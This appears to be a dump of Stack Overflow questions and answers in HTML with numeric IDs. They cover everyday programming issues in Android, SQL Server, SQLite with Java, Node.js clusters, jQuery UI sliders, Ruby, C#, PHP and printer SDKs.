18518700	0	 <p>You specify the size in your xml layout file using DP (DIP: Density Independent Pixels) instead of Pixels, you can also use wrap_content and match_parent.</p> <p>For more info, <a href="http://developer.android.com/guide/practices/screens_support.html" rel="nofollow">http://developer.android.com/guide/practices/screens_support.html</a></p>
16191928	0	 <p>You don't need the IF statements.</p> <p>=MAX(A1:A4) > 350</p> <p>Gives you the same results.</p>
8590960	0	 <p>When I added "::" before Hash class it starts working.</p> <pre><code>puts value.class puts value.is_a?(::Hash) </code></pre> <p>Output:</p> <pre><code>Hash true </code></pre>
35549114	0	 <p>The problem is not that the class is a <code>partial</code> class. The problem is that you try to derive a <code>static</code> class from another one. There is no point in deriving a <code>static</code> class because you could not make use Polymorphism and other reasons for inheritance. </p> <p>If you want to define a <code>partial</code> class, create the class with the same name and access modifier. </p>
32084079	0	 <p>Use "bind()":</p> <pre><code>var contacts = [{firstName: 'Stephen', lastName: 'Hawking'}, {firstName: 'Nicolas', lastName: 'Tesla'}, {firstName: 'Dean', lastName: 'Kamen'} ]; var getFullName = function() { return this.firstName + ' ' + this.lastName; }; for(var i = 0; i &lt; contacts.length; i++){ var contact = contacts[i]; contact.getFullName = getFullName.bind(contact); // Or: //contact['getFullName'] = getFullName.bind(contact); console.log(contact.getFullName()); } </code></pre>
5724589	0	 <p>If you're getting your information from the VS debugger, I wouldn't trust what it is telling you for a Release DLL. The debugger can only be really trusted with Debug DLLs.</p> <p>If program output is telling you this, then that's different -- in that case, you're not providing enough information.</p>
24416099	0	What happens when you use page compression on a primary key in SQL Server? <p>Given that the primary key index is how the table is physically laid out, what effect if any is there by putting a WITH DATA_COMPRESSION on it?</p> <pre><code>CREATE TABLE [Search].[Property] ( [PropertyId] [BIGINT] NOT NULL CONSTRAINT PK_Property PRIMARY KEY WITH (DATA_COMPRESSION = PAGE), [Parcel] [GEOMETRY] NULL CHECK ([Parcel] IS NULL OR ([Parcel].STSrid = 3857 AND [Parcel].STIsValid() = 1 )), [StreetNumber] [VARCHAR](20) NULL, [StreetDir] [VARCHAR](2) NULL, [StreetName] [VARCHAR](50) NULL, [StreetType] [VARCHAR](4) NULL, [StreetPostDir] [VARCHAR](2) NULL ) WITH ( DATA_COMPRESSION = PAGE); GO </code></pre>
3787752	0	 <p>I take what I previously said back. I think I may have a way to make this work in pure c/c++, albeit in a very messy way. You would need to pass a pointer into your functions...</p> <p>i.e. bool hello_world(std::string &amp; my_string, const std::string * const my_string_ptr) {</p> <p>bool hello_world(std::string my_string, const std::string * const my_string_ptr) {</p> <p>if you now tested</p> <p>if ( &amp;my_string == my_string_ptr )</p> <p>It would evaluate <strong>true</strong> if the var was passed by reference, and false if passed by <strong>value</strong>.</p> <p>Of course doubling your variables in all your functions probably isn't worth it...</p> <hr> <p>Johannes is right... not in pure c++. But you CAN do this. The trick is to cheat. Use an embedded scripting language like perl to search your source. Here's an embedded perl module:</p> <p><a href="http://perldoc.perl.org/perlembed.html" rel="nofollow">http://perldoc.perl.org/perlembed.html</a></p> <p>Pass it the function name, variable name, and source location and then use a regex to find the variable and check its type. Really this might be a better solution for your code in general, assuming you are always going to have a source handy. </p> <p>I will post a function for this basic approach in a bit... gotta take care of some morning work! :)</p> <p>Even if you don't want to distribute the source, you could create some sort of packed function/var data file that you could parse through @ runtime and get an equivalent result.</p> <hr> <p><strong>Edit 1</strong><br></p> <p>For example... using the <code># I32 match(SV *string, char *pattern)</code> function in the Perl Embed tutorial, you could do something like:</p> <pre><code>bool is_reference(const char * source_loc, const char * function_name, const char * variable_name) { std::ifstream my_reader; char my_string[256]; SV * perl_line_contents; bool ret_val = false; char my_pattern [400]=strcat("m/.*",function_name); my_pattern=strcat(my_pattern, ".*[,\s\t]*"); my_pattern=strcat(my_pattern, variable_name); my_pattern=strcat(my_pattern, "[\s\t]*[\(,].*$"); my_reader.open(source_loc.c_str()); while (!my_reader.eof()) { my_reader.getline(my_string,256); sv_setpv(perl_line_contents,my_string); if(match(perl_line_contents,my_pattern)) { ret_val= true; } } return ret_val; } </code></pre> <p>... there... two ways to do this (see above update).</p>
1421038	0	Textchanged event is not firing when using jscript <p>In my asp.net application, i am using a lookup to enter data to a textbox.For making lookup i have used jscript.I have a button for this lookup from which i am entering data to this textbox.so, i am not entering values directly to the textbox.After entering values to textbox, the textchanged event is not working.What could be the reason?</p>
35821657	0	 <p>You can set a <code>background-color</code> on the <code>:before</code> element instead of a <code>border-top</code> to make it work. The pseudo-element can have a height of just <code>1px</code> and a <code>width: 100px;</code>.</p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-css lang-css prettyprint-override"><code> p { position: relative; margin: 50px auto; font-size: 1.5em; } p:before { content: ""; position: absolute; top: 50px; width: 100px; margin: 0 auto; height: 1px; background-color: black; /*Removed border, added background-color */ }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;p&gt; this is some text &lt;/p&gt;</code></pre> </div> </div> </p>
31937093	0	Table Is Not Deleted <p>i am trying to delete a table, and i followed this link <a href="http://www.techonthenet.com/sqlite/truncate.php" rel="nofollow">http://www.techonthenet.com/sqlite/truncate.php</a> as a tutorial. but when i execute the below code, for the first run, i expected the <code>sqliteFactory.getRowCount()</code> method will <code>return 0</code> rows as the method <code>sqliteFactory.deleteTable(SysConsts.SQLITE_DATABASE_TABLE_NAME);</code> was just called before it, but what i received is a <code>rowCount</code> which is not zero.</p> <p>in the second run of the same code, i expected the <code>sqliteFactory.CreateTable(SysConsts.SQLITE_DATABASE_TABLE_NAME);</code> to display <code>Log.i(TAG, "CreateTable", "table: ["+tableName+"] does not exist, will be created");</code> as the table should have been deleted, but i received <code>Log.i(TAG, "CreateTable", "table: ["+tableName+"] already exists.");</code></p> <p>kindly please let me know how why the table is not deleted? and should i do <code>commit</code> after deletion?</p> <p><strong>main code</strong>:</p> <pre><code>public static void main(String[] args) throws SQLException, ClassNotFoundException { SQLiteFactory sqliteFactory = new SQLiteFactory(); sqliteFactory.newSQLiteConn(SysConsts.SQLITE_DATABASE_NAME); sqliteFactory.CreateTable(SysConsts.SQLITE_DATABASE_TABLE_NAME); sqliteFactory.insertRecord(new Record("001", "55.07435", "8.79047", "c:\\bremen_0.xml")); Log.d(TAG, "main", "rowCount: "+sqliteFactory.getRowCount()); //sqliteFactory.selectAll(); //sqliteFactory.getNodeID("53.074415", "8.788047"); sqliteFactory.selectXMLPathFor("53.074415", "8.788047"); Log.d(TAG, "", ""+sqliteFactory.getRowCountLatLngFor("53.074415", "8.788047")); Log.d(TAG, "", ""+sqliteFactory.getRowCountNodeIDFor("001")); Log.d(TAG, "", ""+sqliteFactory.getRowCountXMLPathFor("c:\\brem_0.xml")); sqliteFactory.deleteTable(SysConsts.SQLITE_DATABASE_TABLE_NAME); Log.d(TAG, "main", "rowCount: "+sqliteFactory.getRowCount()); } </code></pre> <p><strong>CreateTable</strong>:</p> <pre><code>public void CreateTable(String tableName) throws SQLException, ClassNotFoundException { if (!this.isTableExists(tableName)) { Log.i(TAG, "CreateTable", "table: ["+tableName+"] does not exist, will be created"); Connection conn = this.getConnection(); Statement stmt = conn.createStatement(); stmt.executeUpdate(this.sqlTable); stmt.close(); conn.close(); } else { Log.i(TAG, "CreateTable", "table: ["+tableName+"] already exists."); return; } } </code></pre> <p><strong>isTableExists</strong>:</p> <pre><code>private boolean isTableExists(String tableName) throws ClassNotFoundException, SQLException { Connection conn = this.getConnection(); DatabaseMetaData dbMeta = conn.getMetaData(); ResultSet resSet = dbMeta.getTables(null, null, tableName, null); boolean exists = false; if (resSet.next()) { exists = true; } else { exists = false; } resSet.close(); conn.close(); return exists; } </code></pre> <p><strong>deleteTable</strong>:</p> <pre><code>public void deleteTable(String tableName) throws ClassNotFoundException, SQLException { if (this.isTableExists(tableName)) { Log.i(TAG, "deleteTable", "table: ["+tableName+"] already exists, and will be deleted."); Connection conn = this.getConnection(); PreparedStatement ps = conn.prepareStatement("delete from "+this.TABLE_NAME); ps.close(); conn.close(); } else { Log.i(TAG, "deleteTable", "table: ["+tableName+"] does not exist, can't be deleted."); return; } } </code></pre> <p><strong>getRowCount</strong>:</p> <pre><code>public int getRowCount() throws SQLException, ClassNotFoundException { Connection conn = this.getConnection(); Statement stmt= conn.createStatement(); ResultSet resSet = stmt.executeQuery("SELECT COUNT(*) AS rowCount FROM "+TABLE_NAME+";"); int cnt = resSet.getInt("rowCount"); resSet.close(); stmt.close(); conn.close(); return cnt; } </code></pre>
4191521	0	how to forbidden page cache on rails <p>i'm design a shopping cart,there are two web page,</p> <p>first is checkout page,and the second is order_success page</p> <p>if user use the go back button on webbrowser then it will go back to checkout page after user have go to order_success page.</p> <p>so i want to find some way to forbidden let use go back,</p> <p>is there some way on rails to archieve this?</p>
18615884	0	IE8 proxy CSS compatibility <p>I create a site that uses some css properties, specifically <code>display: inline-block</code>. The problem is, in IE8 when the proxy is enabled, the display page is loaded without the <code>display: inline-block</code> property. When the proxy is disabled the display is OK. The strange thing is, the browser didn't use proxy because the site is in local.</p> <p>I don't know what the problem is, have you an idea?</p>
28810189	0	JAVA: SomeStructure<E> to make it sorted by another type T? <p>I have a data class as following:</p> <pre><code>class MyData { private UUID id; private String data1; private String data2} </code></pre> <p>I store its instance in a map:</p> <pre><code>private Map&lt;UUID, MyData&gt; myData; </code></pre> <p>As all we know, I can get MyData instance by UUID:</p> <pre><code>MyData instance = myData.get(UUID); </code></pre> <p>But I also need to get MyData instance by index. What's more, the index is sorted by, say, MyData.data1 field. So I need a new data structure to store UUID according to index order, perhaps something like this:</p> <pre><code>private SomeStructure&lt;UUID&gt; myDataIndex; </code></pre> <p>What I want is this <code>SomeStructure</code> class. It should have a public method such as:</p> <pre><code>public UUID getUuidByIndex(int index); </code></pre> <p>And, it should sort UUID elements by MyData.data1 field.</p> <p>And, every time I put an item to <code>private Map&lt;UUID, MyData&gt; myData</code>, the item's UUID is also added to <code>private SomeStructure&lt;UUID&gt; myDataIndex</code>. I think this is a performance consideration, not generating an ArrayList or something else when I get element by index.</p> <p>Any ideas about this <code>SomeStructure</code>? I would appreciate more about a method that extends or implements known JAVA data structure. Of course, fully customized structure is also highly appreciated.</p> <p>To make you fully understand my question, I'd like to state my situation:</p> <ol> <li><p>why I have Map? I wanna get data by UUID.</p></li> <li><p>why I want SomeStructure? I wanna get data by index either.</p></li> </ol> <p>To make it simple: I want iterate my data through two different ways.</p> <p>Many thanks!</p>
1495880	0	 <p>This usually means you are blocking the UI thread (e.g. running a long operation inside a button click handler). Instead of using the UI thread, you will generally need to offload long I/O operations to the <a href="http://msdn.microsoft.com/en-us/library/system.threading.threadpool.queueuserworkitem.aspx" rel="nofollow noreferrer">ThreadPool</a> or your own worker threads. This is not always easy to do and requires careful design and a good understanding of concurrency, etc.</p>
15090372	0	 <p>I think you are looking for something like <a href="https://github.com/sephiroth74/AndroidWheel" rel="nofollow noreferrer">Android Wheel</a></p> <p><img src="https://i.stack.imgur.com/R9kiv.png" alt="enter image description here"></p>
1520985	0	What is a command line compiler? <p>What is a command line compiler?</p>
28724410	0	Emulator keep showing "Android" <p>I am new to android application. i have downloaded Android Studio from <a href="http://developer.android.com/" rel="nofollow noreferrer">http://developer.android.com/</a></p> <p>I just created one project and click on run button.</p> <p>but it just keep showing me from past 2 hours</p> <p>what should i do now ??</p> <p>is there any step by step instruction that i can follow?</p> <p><img src="https://i.stack.imgur.com/FGlsN.png" alt="jdkk"></p>
24840578	0	 <p>You need to send the data out from the server code:</p> <pre><code>app.get('/content.json',function(req, res) { request("http://www.google.com", function(error, response, body) { res.send(body); }); }); </code></pre> <p><strong>Edit:</strong> As the JS client is expecting appication/json, you should set the response header sent from server as well:</p> <pre><code>res .header('Content-Type', 'application/json') .send(body); </code></pre>
10496625	0	 <p>You should try creating "by hand" the missing folders into your newly created project, then you can use Import -> File system to add the missing files into the respective folders...</p>
5638175	0	 <p>To stop the video from playing you need to make use of the keyboard commands the you tube player recognizes to control the player. They are limited...</p> <pre><code> Spacebar : Play / Pause Arrow Left : Jump back 10% in the current video Arrow Right: Jump ahead 10% in the current video Arrow Up : Volume up Arrow Down : Volume Down </code></pre> <p>So what you can do is use </p> <pre><code> SendMessage(FlashPlayer.Handle,WM_KEYDOWN,VK_SPACE,0); SendMessage(FlashPlayer.Handle,WM_KEYUP,VK_SPACE,0); </code></pre> <p>to fake a key press and get the youtube player to, in this example, pause or resume play.</p>
19586319	0	 <p>Try this:</p> <pre><code>$("#divVZITab[tabindex='-1']").focus(); </code></pre>
5246782	0	 <p>There is a simple way of doing this. </p> <ul> <li><p>if you have two different layouts for landscape and portrait then let the android handle all the stuff for you. i mean do not override methods onConfigurationChange() method unless strictly required and do not add android:configChanges="orientation". just make different folders for portrait mode and landscape mode. viz. layout and layout-land.... </p></li> <li><p>To save present state of views use bundle. whenever orientation changes android reload activity and call onCreate() method. This saved bundle is passed in onCreate() method. Now you can retrieve views' state from this bundle.</p></li> </ul> <p>now next question will be how to use this bundle. <a href="http://stackoverflow.com/questions/151777/how-do-i-save-an-android-applications-state">Then here is the quick example.</a> </p> <p>override onSavedInstanceState() method to save bundle. </p> <p>Thanks.</p>
15765640	0	search for files not accessed for x days <p>How can i find files in linux that was <strong>not</strong> accessed for X days?</p> <p>i found that command, but it will show fils that was views for the last x days</p> <pre><code>$ find /home/you -iname "*.pdf" -atime -60 -type -f </code></pre>
39329146	0	 <p>When a server listens on a computer, it specifies a port it wants it's connections coming in from , so ports are important for setting up servers. This is useful as you can have multiple applications listening on different ports without the different applications accidentally talking to eachother. So you should decide on a port that isn't a standard( 80 is for HTTP for example) to exclusively use for you gameserver so the client knows which port to send the requests to.</p> <p>If you want to handle multiple connections at once the best thing to do is threading.</p>
19518717	0	 <p>A simple way of generating a printable report from a Datagridview is to place the datagridview on a Panel object. It is possible to draw a bitmap of the panel.</p> <p>Here's how I do it.</p> <p>'create the bitmap with the dimentions of the Panel Dim bmp As New Bitmap(Panel1.Width, Panel1.Height)</p> <p>'draw the Panel to the bitmap "bmp" Panel1.DrawToBitmap(bmp, Panel1.ClientRectangle)</p> <p>I create a multi page tiff by "breaking my datagridview items into pages. this is how i detect the start of a new page:</p> <p>'i add the rows to my datagrid one at a time and then check if the scrollbar is active. 'if the scrollbar is active i save the row to a variable and then i remove it from the 'datagridview and roll back my counter integer by one(thus the next run will include this 'row.</p> <pre><code>Private Function VScrollBarVisible() As Boolean Dim ctrl As New Control For Each ctrl In DataGridView_Results.Controls If ctrl.GetType() Is GetType(VScrollBar) Then If ctrl.Visible = True Then Return True Else Return False End If End If Next Return Nothing End Function </code></pre> <p>I hope this helps</p>
6235398	0	DRY a large chunk of common code with two vastly different uses <p>I have a 'widget' that comprises an html/css block of code. It is a type of data layout, which I call the <b>'stack'</b>.</p> <p>The stack has bits of <code>.erb</code> (Ruby on Rails) embedded in it, which enters the data for each user.</p> <p>I need to include this stack in multiple places, where it needs to represent <b>different data from different models</b>.</p> <p>So, one stack might contain a field called <code>@company.name</code> and the other stack might contain <code>@project.name || "Unidentified Project"</code>.</p> <p>How does one refactor / organize this situation? Options that I can see:</p> <ol> <li>Have two separate <code>stacks</code>, which would introduce redundancy and inconsistency, but would be an obvious answer to the problem without limit to scenario-specific customization.</li> <li>Include <code>if</code> statements for every data point to test which circumstance the stack is being used for, but this is very code-ugly and unsustainably complicated for more than 2 stacks.</li> <li>Some unknown unknown.</li> </ol> <p>How would you tackle this?</p>
23590372	0	 <p>Javascript doesn't support unicode properties in any way, you can't include "latin1 letter" in an expression directly and are bound to use ranges. <a href="http://en.wikipedia.org/wiki/Latin-1_Supplement_%28Unicode_block%29" rel="nofollow">Latin1-supplement block</a> contains letters in <code>C0-FF</code> except two math symbols at <code>D7</code> and <code>F7</code>, hence the expression is</p> <pre><code>/[A-Za-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u00FF]+/ </code></pre> <p>Note that this only supports west european letters. If you want to match any unicode letter, there's no way with JS regex other than manually enumerating all <code>Lu/Ll/Lm</code> ranges from the <a href="http://www.unicode.org/Public/UNIDATA/UnicodeData.txt" rel="nofollow">unicode database</a>.</p>
35771995	0	Page loads forever when using clusters with Nodejs / Expressjs <p>This is my application : app.js</p> <pre><code>/** Express **/ var express = require('express'); /** Create express application **/ var app = express(); /** Set application port **/ app.set('port', process.env.PORT || 3000); /** Set application view engine**/ var handlebars = require('express-handlebars').create({ defaultLayout: 'main', helpers: { section: function(name, options){ if(!this._sections) this._sections = {}; this._sections[name] = options.fn(this); return null; }, parrot: function(options){ return options.fn(this) + ' &lt;b&gt; parrot &lt;/b&gt;'; } } }); /*** Cluster Logger**/ app.use(function(req, res, next){ var cluster = require('cluster'); if(cluster.isWorker) console.log('CLUSTER: Worker %d received request.', cluster.worker.id); next(); }); /** home page**/ app.get('/', function(req, res){ res.send('Welcome !!'); }); /** about page**/ app.get('/about', function(req, res){ res.send('About us!'); }); /** contact page **/ app.get('/contact', function(req, res){ res.send('contact us here'); }); // startServer in export/direct mode function startServer(){ app.listen(app.get('port'), function(){ console.log('Parrot started in '+app.get('env')+' mode on http://localhost:'+ app.get('port')+ '; \n press Ctrl-C to terminate'); }); } if(require.main === module){ startServer(); }else{ module.exports = startServer; } </code></pre> <p>And this is parrot.js (with cluster include)</p> <pre><code>//import cluster var cluster = require('cluster'); //startWorker function startWorker(){ var worker = cluster.fork(); console.log('CLUSTER: Worker %d started', worker.id); } if(cluster.isMaster){ //in case the cluster is Master require('os').cpus().forEach(function(){ startWorker(); }); cluster.on('disconnect', function(worker){ console.log('CLUSTER: Worker %d disconnected from the cluster', worker.id); }); cluster.on('exit', function(worker, code, signal){ console.log('CLUSTER: Worker %d died with exit code %d (%s)', worker.id, code, signal); startWorker(); }); }else{ //in case cluster.isWorker (not master), run app directly require('./app.js')(); } </code></pre> <p>The problem, is that when I run <code>node app.js</code>, the app works just fine on <code>http://localhost:3000</code> ... and the page works great in the browser.</p> <p>When I run as a set of clusters (with <code>node parrot.js</code>), everything looks good in console:</p> <pre><code>CLUSTER: Worker 1 started CLUSTER: Worker 2 started Parrot started in development mode on http://localhost:3000; press Ctrl-C to terminate Parrot started in development mode on http://localhost:3000; press Ctrl-C to terminate </code></pre> <p>But, the page loads forever and nothing shows on the browser? I don't know what's the problem here. Sorry for my language for I'm a Node.js newbie.</p> <p>Thank you</p>
6892869	0	 <p>I haven't found a way to do this that isn't a hack, but here's the simplest hack I could think of:</p> <pre><code>&lt;script type="text/javascript"&gt; function tweakWidthForScrollbar() { var db = document.body; var scrollBarWidth = db.scrollHeight &gt; db.clientHeight ? db.clientWidth - db.offsetWidth : 0; db.style.paddingRight = scrollBarWidth + "px"; } &lt;/script&gt; ... &lt;body onresize="tweakWidthForScrollbar()"&gt; </code></pre> <p>The idea is to detect whether the vertical scrollbar is in use, and if it is, calculate its width and allocate just enough extra padding for it.</p>
1769402	0	 <ul> <li><p>you don't need to create a thread just to start timer in it. You can just start timer in your main thread. Its function will run on a thread from threadpool.</p></li> <li><p>I don't see why you need to create a thread for <code>start()</code> function. It needs to be run at least partially <em>before</em> your timer first work. So, you may execute <code>RegKeys = load.read(RegKeys);</code> (and probably other code from <code>start</code>) in main thread. if you insist on running it in separate thread, ensure that <code>RegKeys</code> is initialized. It can be done by, e.g. setting <code>ManualResetEvent</code> after initializing <code>RegKeys</code> and waiting for this <code>ManualResetEvent</code> in timer callback.</p></li> <li><p>You should stop timer on process exit.</p></li> <li><p>you need to wait for started thread's stopping using <code>Thread.Join</code> method or by waiting on some <code>WaitHandle</code> (<code>ManualResetEvent</code> e.g.) being set in thread on finish.</p></li> </ul>
31918497	0	How to verify a contextual condition when a method is called with Moq <p>I'm using Moq and I need to check a condition when a mock method is called. Into following example i try to read the Property1 property, but this could be any expression:</p> <pre><code>var fooMock = new Mock&lt;IFoo&gt;(); fooMock.Setup(f =&gt; f.Method1()) .Returns(null) .Check(f =&gt; f.Property1 == true) // Invented method .Verifiable(); </code></pre> <p>My final objective is to check if a condition is true when the method is called. How can I perform this?</p>
33624857	0	print png with zebra imz220 - android <p>I'm having an issue printing png assets to a zebra imz220 printer, its going to be used to print receipts from an android tablet and a logo is required to be printed at the top of the printout. when printing the image i get a string output instead of the image. I tried the following stackoverflow post as i cant seem to find any documentation on how to do it - <a href="http://stackoverflow.com/questions/26100430/print-image-via-bluetooth-printer-prints-string/29383314#">print image via bluetooth printer prints string</a> </p> <pre><code>package com.example.gareth.myzebraprinter; import android.content.res.AssetManager; import android.content.res.Resources; import android.graphics.Bitmap; import android.graphics.BitmapFactory; import android.graphics.drawable.BitmapDrawable; import android.graphics.drawable.Drawable; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import android.util.Log; import com.zebra.sdk.comm.BluetoothConnection; import com.zebra.sdk.comm.Connection; import com.zebra.sdk.comm.ConnectionException; import com.zebra.sdk.graphics.ZebraImageFactory; import com.zebra.sdk.graphics.ZebraImageI; import com.zebra.sdk.printer.PrinterLanguage; import com.zebra.sdk.printer.ZebraPrinter; import com.zebra.sdk.printer.ZebraPrinterFactory; import com.zebra.sdk.printer.ZebraPrinterLanguageUnknownException; import com.zebra.sdk.util.internal.Base64; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.InputStream; public class MainActivity extends AppCompatActivity { private ZebraPrinter zebraPrinter; private Connection connection; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); connect(); printTest(); } private void printTest(){ if(zebraPrinter != null){ try { InputStream inputStream = getAssets().open("ic_launcher.png"); ZebraImageI zebraImageI = ZebraImageFactory.getImage(BitmapFactory.decodeStream(inputStream)); zebraPrinter.printImage(zebraImageI,250,0,0,-1,false); } catch (IOException e) { e.printStackTrace(); } catch (ConnectionException e) { e.printStackTrace(); } // byte[] rcpt = "------------\n\r test test test".getBytes(); // try { // connection.write(rcpt); // } catch (ConnectionException e) { // Log.e("printTest",e.getMessage()); // } } } private void connect(){ connection = new BluetoothConnection("AC3FA41EF22E"); try { connection.open(); } catch (ConnectionException ex) { Log.e("connect","ConnectionException " + ex.getMessage()); mSleeper.sleep(1000); closeConnection(); } catch(Exception ex) { Log.e("connect","Exception "+ex.getMessage()); } try { zebraPrinter = ZebraPrinterFactory.getInstance(connection); PrinterLanguage pl = zebraPrinter.getPrinterControlLanguage(); Log.i("PrinterPanguage",pl.toString()); } catch (ConnectionException ex) { Log.e("connect","ConnectionException " + ex.getMessage()); zebraPrinter = null; mSleeper.sleep(1000); closeConnection(); } catch(Exception ex) { Log.e("connect","Exception " + ex.getMessage()); zebraPrinter = null; mSleeper.sleep(1000); closeConnection(); } } private void closeConnection(){ if(connection != null){ try { connection.close(); } catch (ConnectionException exx) { Log.e("closeConnection", exx.getMessage()); } } } } </code></pre>
10068013	0	 Django-users is the user authentication api of Django.
8822764	0	Why will a Range not work when descending? <p>Why will <code>(1..5).each</code> iterate over <code>1,2,3,4,5</code>, but <code>(5..1)</code> will not? It returns the Range instead.</p> <pre><code>1.9.2p290 :007 &gt; (1..5).each do |i| puts i end 1 2 3 4 5 =&gt; 1..5 1.9.2p290 :008 &gt; (5..1).each do |i| puts i end =&gt; 5..1 </code></pre>
4877475	0	 <p>Have a go with this:</p> <pre><code>$('&lt;span/&gt;', {'class': 'tt-icon-ent'}) .append( $('&lt;img/&gt;', {src: 'media/img/icon_ent_small_dark.png'}) ) .appendTo('tooltip-ent'); </code></pre>
2561300	0	 <p><code>array_unique()</code> only supports multi-dimensional arrays in PHP 5.2.9 and higher.</p> <p>Instead, you can create a hash of the array and check it for unique-ness.</p> <pre><code>$hashes = array(); foreach($array as $val) { $hashes[md5(serialize($val))] = $val; } array_unique($hashes); </code></pre>
37626479	0	 <p>I used Filype's answer and changed to a correct one as because it's showing error if you try to uncheck the last one. Here it is..</p> <pre><code>$(document).ready(function() { //append the total dollars display under activities and hide it until clicked var $TotalDollars = 0; var $TotalDollarsDisplay = $('&lt;div&gt;&lt;/div&gt;'); $('.activities').append($TotalDollarsDisplay); $($TotalDollarsDisplay).hide(); function updateTotal() { var total = $(".activities input:checkbox:checked"); if(total.length){ // Get the text from the parent total = total.map(function(idx, el) { return $(el).parent().text(); }) // convert the jquery object to an array .toArray() // extract the value from the string using regex .map(function(item) { var match = item.match(/\$(\d+)/); return parseInt(match[1]); }) // calculate the total with reduce .reduce(function(cur, next) { return cur + next; }); console.log(total); $TotalDollarsDisplay.text(total); $TotalDollarsDisplay.show(); } else{ $($TotalDollarsDisplay).hide(); } } //checkbox needs to show unique dates and times and disable duplicates $(".activities").find("input:checkbox").change(function() { //variables for activity input names var $jsFrameworks = $("input[name='js-frameworks']"); var $Express = $("input[name='express']"); var $jsLibs = $("input[name='js-libs']"); var $Node = $("input[name='node']"); var $MainConf = $("input[name='all']"); var $Npm = $("input[name='npm']"); var $BuildTools = $("input[name='build-tools']"); var $CheckedActivities = $(".activities").find('input:checkbox:checked').length; console.log($CheckedActivities); //Disable duplicate times scheduled if (($jsFrameworks).is(':checked')) { ($Express).prop('disabled', true); } else { ($Express).prop('disabled', false); } if (($Express).is(':checked')) { ($jsFrameworks).prop('disabled', true); } else { ($jsFrameworks).prop('disabled', false); } if (($jsLibs).is(':checked')) { ($Node).prop('disabled', true); } else { ($Node).prop('disabled', false); } if (($Node).is(':checked')) { ($jsLibs).prop('disabled', true); } else { ($jsLibs).prop('disabled', false); } //add up the total dollars for each activity //Adding the non duplicate workshops to the total updateTotal(); }); }); </code></pre>
34540856	0	 <p>Length <em>is</em> taken into account, but not in the way you expect. In string comparison, the first characters of each string are compared to each other first. If they are equal, then the second characters are compared and so on. So in your example, the first characters to be compared are '1' and '8'. '8' is larger. </p> <p>If you had compared "10.72" against "1.87", the first characters would be equal, so the next thing would be to compare "0" against ".".</p> <p>If you want to compare numeric values, you have to convert the strings to their numeric representation, or else you would have to write your own comparator that would treat strings as numerics. I hope that sheds some light on it.</p>
27831529	0	 <p>You need to find the <code>CrefSyntax</code> node that corresponds to the type name and then you can use <code>SemanticModel.GetSymbolInfo()</code> to get the <code>ISymbol</code> you want:</p> <pre><code>string code = @"namespace Foo { /// &lt;summary&gt;This is an xml doc comment &lt;see cref=""MyClass"" /&gt;&lt;/summary&gt; class MyClass {} }"; var tree = SyntaxFactory.ParseSyntaxTree(code); CrefSyntax cref = tree.GetRoot() .DescendantNodes(descendIntoTrivia: true) .OfType&lt;CrefSyntax&gt;() .FirstOrDefault(); var compliation = CSharpCompilation.Create("foo").AddSyntaxTrees(tree); var model = compliation.GetSemanticModel(tree); ISymbol symbol = model.GetSymbolInfo(cref).Symbol; </code></pre>
14644199	0	Multiple jQuery UI sliders updating the wrong values <p>I'm using the Wordpress Meta Box plug-in (<a href="https://github.com/rilwis/meta-box" rel="nofollow">https://github.com/rilwis/meta-box</a>) to place six jQuery UI sliders on a post page.</p> <p>Problem is that there must be an error in the jQuery that handles the sliders I can't find: everytime I put multiple sliders, it updates the value of the last slider in the page instead of the correct one. Works fine only with 1 slider in the page, or If I repeat the code six times (once for each class), which obviously I don't wanna do.</p> <p>Example:</p> <p>I move <strong>pm_slider_c1</strong> > Updates <strong>pm_rating_c6-label</strong> span</p> <p>Here's the JS code:</p> <pre><code>jQuery( document ).ready( function( $ ) { var id = null , el = null , input = null , label = null , format = null , value = null , update = null ; $( '.rwmb-slider' ).each( function( i, val ) { id = $( val ).attr( 'id' ); el = $( '#' + id ); input = $( '[name=' + id + ']' ); label = $( '[for=' + id + ']' ); format = $( el ).attr( 'rel' ); $( label ).append( ': &lt;span id="' + id + '-label"&gt;&lt;/span&gt;' ); update = $( '#' + id + '-label' ); if ( !$( input ).val() || 'undefined' === $( input ).val() || null === typeof $( input ).val() ) { $( input ).val( $( el ).slider( "values", 0 ) ); $( update ).text( "0" ); } else { value = $( input ).val(); $( update ).text( value ); } if ( 0 &lt; format.length ) $( update ).append( ' ' + format ); el.slider( { value: value, slide: function( event, ui ) { $( input ).val( ui.value ); $( update ).text( ui.value + ' ' + format ); } } ); } ); } ); </code></pre> <p>HTML OF A SINGLE SLIDER: </p> <pre><code>&lt;div class="rwmb-field rwmb-slider-wrapper"&gt; &lt;div class="rwmb-label"&gt; &lt;label for="pm_rating_c1"&gt;Rating: &lt;span id="pm_rating_c1-label"&gt;0&lt;/span&gt;&lt;!-- GENERATED FROM JS --&gt; &lt;/label&gt; &lt;/div&gt; &lt;div class="rwmb-input"&gt; &lt;div class="clearfix"&gt; &lt;div class="rwmb-slider" id="pm_rating_c1"&gt;&lt;/div&gt; &lt;input type="hidden" name="pm_rating_c1" value="0"&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; </code></pre> <p>It's four days I'm having a headache on this (I'm no jQuery expert), so any help would be much appreciated.</p> <p>Thanks guys</p>
16916663	0	 <p>@igoru for your question in the comment use PHPDOC before function documentation </p> <pre><code> * @param {type} $variable {comment} **{@from body}** </code></pre> <p>that's <code>**{@from body}**</code> would make the variable sent by request body .</p> <p>if you wants to send it from php , use the following :</p> <pre><code>&lt;?php $data = array("name" =&gt; "Another", "email" =&gt; "another@email.com"); $data_string = json_encode($data); $ch = curl_init("http://restler3.luracast.com/examples/_007_crud/index.php/authors"); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST"); curl_setopt($ch, CURLOPT_POSTFIELDS, $data_string); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Content-Type: application/json', 'Content-Length: ' . strlen($data_string)) ); $result = curl_exec($ch); echo($result); </code></pre>
